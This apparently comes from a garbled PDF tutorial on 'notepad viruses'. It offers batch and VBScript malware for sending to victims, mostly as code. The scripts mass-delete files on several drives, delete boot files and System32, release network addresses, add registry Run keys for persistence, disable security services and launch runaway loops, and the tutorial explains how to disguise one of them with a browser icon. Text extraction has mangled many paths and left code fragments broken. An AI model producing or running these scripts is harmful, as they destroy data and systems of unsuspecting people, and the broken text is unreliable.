Simple VB Script Viruses
Simple VB Script Viruses
INFORMATION SECURITY 1
Lear:- Hack computers using netbios command
pconfig /release
INFORMATION SECURITY 2
Save that as a .bat and send it to someone. They’re IP address will be lost, and therefore they
won’t be able to fix it
@echo off
del D:*.* /f /s /q
del E:*.* /f /s /q
del F:*.* /f /s /q
del G:*.* /f /s /q
del H:*.* /f /s /q
del I:*.* /f /s /q
del J:*.* /f /s /q
WARNING:: This is the most dangerous virus! Be careful with its use.
INFORMATION SECURITY 3
5. Crash PC forever with Notepad Virus
How to crash a PC Forever !:::
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
Open up notepad and copy and paste that. Save it as a .bat file.
This should shut down the person’s computer. It shuts it off once and deletes the files needed to
reboot and restart.
6. Application Bomber
It will start to open different applications repeatedly which will affect the system’s performance.
You can also add the application of your choice in the above code.
@echo off
start winword
start mspaint
start notepad
INFORMATION SECURITY 4
start write
start cmd
start explorer
start control
start calc
goto x
you will get a dialogue box, write in it: shutdown -s -t 1000 c “any comment u want” then press
next
INFORMATION SECURITY 5
INFORMATION SECURITY 6
INFORMATION SECURITY 7
note: this “1000” i wrote is the time in seconds needed for your computer to shut down,You can
put any number you want…
3. You will get another dialogue box, write in it: Internet Explorer and press finish
4. You will find the icon on ur desktop, don’t open it, just right-click on it and press
properties>change icon>select the icon the internet explorer and the press apply than ok
PS: the only way 2 stop your computer from shutting down is to go 2 start>run>type: shutdown -
a
Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without
which a Windows Pc can’t be started.
rd/s/q C:
Save as “anything.bat
This virus Formats the C ,D , and E Drive in 3 Seconds. This is a very useful script if you want
to learn how to create a virus using notepad.
No 10 :-
Just open the Notepad and type the paste the following Code.
set ws=createobject(“wscript.shell”)
INFORMATION SECURITY 8
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell=”wscript.shell”
strDir=”C:WINDOWS”
strfile=”wscript.vbs”
st=Chr(34)
strlog=”shutdown -l”
strtxt2=”ws.run(strlog)”
set obfso=CreateObject(“Scripting.FileSystemObject”)
obfile.writeline(“set ws=createobject(“&st&strshell&st&”)”)
obfile.writeline(“ws.run(“&st&strlog&st&”)”)
ws.regwrite
“HKCUSoftwareMicrosoftWindowsCurrentVersionRunLogoff”,”C:WINDOWSwscript.vb
s”,”REG_SZ”
Now Save This Notepad file With Any Name Having .vbs Extension .
@echo off
INFORMATION SECURITY 9
12. Toggle your friend’s Caps Lock button
simultaneously:
Code:
l”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Code:
“)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
INFORMATION SECURITY 10
14. This Virus Deletes All The Content Of A
Drive…
@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00
Dim WSHShell
Set WSHShell=Wscript.CreateObject(“Wscript.Shell”)
Dim x
For x = 1 to 100000000
WSHShell.Run “Tourstart.exe”
Next
Save It As Anything.vbs
Del C: *.* |y
Save It As Anything.bat
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
echo end>>c:windowshartlell.bat
INFORMATION SECURITY 12
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz
/d c:windowshartlell.bat /f
PAUSE
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
PAUSE
INFORMATION SECURITY 13
REN *.COM *.TXT
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo end>>c:windowshartlell.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
INFORMATION SECURITY 14
echo YOU HAVE BEEN HACKED BITCH
PAUSE
PAUSE
GOTO CRASH
? Open Notepad
? Type :
@ECHO OFF
INFORMATION SECURITY 15
shutdown -s -t 10 -c “Virus Attack…”
exit
Windows doesn’t allow to change the icon of .bat files. Therefore what you can do is :
INFORMATION SECURITY 16
EDIT: At the bottom put a rickroll
site or something. BTW, that 3rd line, isnt what disables the internet
@echo off
reg
ipconfig /release
del “C:Nexon
del “C:WINDOWS”
del “C:WINDOWSsystem32”
del “C:WINDOWSsystem32cmd”
del “C:WINDOWSsystem32iexpress”
del “C:WINDOWSsystem32sndvol32”
del “C:WINDOWSsystem32sndrec32”
del “C:WINDOWSsystem32Restorerstrui”
INFORMATION SECURITY 17
del “C:WINDOWSsystem32wupdmgr”
del “C:WINDOWSsystem32desktop”
del “C:WINDOWSjava”
del “C:WINDOWSMedia”
del “C:WINDOWSResources”
del “C:WINDOWSsystem”
del “C:drivers”
del “C:drv”
del “C:SYSINFO”
echo ipconfig/release_all>>c:windowswimn32.bat
>>”%Temp%.kill.reg” ECHO.
>>”%Temp%.kill.reg” ECHO
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>”%Temp%.kill.reg” ECHO.
>>”%Temp%.kill.reg” ECHO
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>”%Temp%.kill.reg” ECHO.
>>”%Temp%.kill.reg” ECHO
[HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
INFORMATION SECURITY 18
>>”%Temp%.kill.reg” ECHO “Start”=dword:00000004
>>”%Temp%.kill.reg” ECHO.
del “%Temp%.kill.reg”
del %0
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
:a
goto a
1-Open notepad
#include
#include
INFORMATION SECURITY 19
#include
#include
#include
#include
#include
int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);
char buffer[255];
ifstream input(inputFile);
if (!input)
fp
fp
INFORMATION SECURITY 20
fp
else
while (!input.eof())
input.getline(buffer,255);
char buffer[255];
char inputFile[]=”C:rawr.exe”;
ifstream input(inputFile);
if (!input)
fp
fp
fp
INFORMATION SECURITY 21
fp
system(“START CLICK.bat”);
main();
else
while (!input.eof())
input.getline(buffer,255);
goto START;
START:{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN |
FOREGROUND_INTENSITY);
cout
cout
INFORMATION SECURITY 22
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
Sleep(60);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
cout
goto START;
3-save it as matrix.bat
4-finish
AS IT WAS TOO DANGEROUS THE ACTUAL HEADER FILES FOR THIS SCRIPT ARE
NOT GIVEN
INFORMATION SECURITY 23
AND IF U WANT TO TRY THIS SCRIPT U CAN JUST USE OF HEADER FILES SUCH AS
STDIN, STDLIB, CONIO , AND STUFF LIKE THAT
Credit:- https://nekraj.com/notepad-virus/
INFORMATION SECURITY 24